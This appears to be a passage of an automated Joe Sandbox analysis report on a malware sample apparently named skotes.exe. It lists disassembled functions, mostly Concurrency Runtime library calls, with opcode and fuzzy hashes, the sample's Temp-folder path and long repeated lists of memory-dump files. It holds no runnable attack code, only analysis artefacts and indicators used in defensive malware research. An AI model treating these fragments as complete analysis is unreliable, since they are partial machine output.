Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: b3ef916a54d99538d6be94e2334583ff7db62da73384d50489f0a0fde816dbd2
Instruction ID: 376bbc039e8bd6ea7b637b758d5d0eb2d033e7ffdad0687da7814987dc1c69d1
Opcode Fuzzy Hash: b3ef916a54d99538d6be94e2334583ff7db62da73384d50489f0a0fde816dbd2
Instruction Fuzzy Hash: DB31A0B57006109FDB05EB54C885BEDB7E7AF89310F150199E9069F392EB70ED81CB92

Function 006B86C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 006B86EE

Part of subcall function 006AEAD0: _SpinWait.LIBCONCRT ref: 006AEAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 006B8702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 006B8734
List.LIBCMT ref: 006B87B7
List.LIBCMT ref: 006B87C6

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: e54d22f4ee979e76a70a19909b53c15c8e6d6305873fd619e0c6e8191b632c15
Instruction ID: 9f4c2b250e9ae1f64da136d4b1e9c40ee710e8f81bf6db30b7ceb1b25ba6012e
Opcode Fuzzy Hash: e54d22f4ee979e76a70a19909b53c15c8e6d6305873fd619e0c6e8191b632c15
Instruction Fuzzy Hash: 833186B2901256DFCB50EFA4C5816EDBBB6BF05308F28007ED80127242CF31AD84CB99

Function 006C182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 006C18A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 006C18EB

Strings

pContext, xrefs: 006C189C

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 8da8468f0bd94e65718a0ef299205c255f97352cef4dae213f0574cf085ca712
Instruction ID: c52535b7508d957dca77daec0895ecdfaf9d97c45851870c7a108f8901623b3b
Opcode Fuzzy Hash: 8da8468f0bd94e65718a0ef299205c255f97352cef4dae213f0574cf085ca712
Instruction Fuzzy Hash: 0D21F335B056159BCB14AB68C895FBCB3A7FF97324B04012EE5018F2D2CBA4ED428A94

Function 006CDFE3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

6l, xrefs: 006CE034
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 006CDFE8

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 6l$C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-2569784805
Opcode ID: 744b22ae0be1ff8cb5e0f455c947f3ad033ea986fb53a2c36a56052bc336f15c
Instruction ID: cb8b1b2667eb00064011e80bb629aa5d5e027214b14d6366106c6f8a53e66124
Opcode Fuzzy Hash: 744b22ae0be1ff8cb5e0f455c947f3ad033ea986fb53a2c36a56052bc336f15c
Instruction Fuzzy Hash: 5E219F717042096F9B70AE658C85FBB77BFEF00364710461CF92896292EB72EC2186A4

Function 006BAE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 006BAEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006BAF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 006BAF4E

Strings

pExecutionResource, xrefs: 006BAF07

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: e949cd9c9bd0bdd37cef7e598f6c496d762d2a944b61f0e4a44b0b6e2b34def3
Instruction ID: 5d1a926c10ea921c82c33f1bc51f31851c27150e873bb589d27adc05367183c1
Opcode Fuzzy Hash: e949cd9c9bd0bdd37cef7e598f6c496d762d2a944b61f0e4a44b0b6e2b34def3
Instruction Fuzzy Hash: CF2193B5A402059BCB48EF94C882BFEB7A7BF49310F11401DE501AB782DBB0EE45CB95

Function 006B4EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 006B4F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 006B4F66

Strings

ppVirtualProcessorRoots, xrefs: 006B4F1C
count, xrefs: 006B4EBA

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
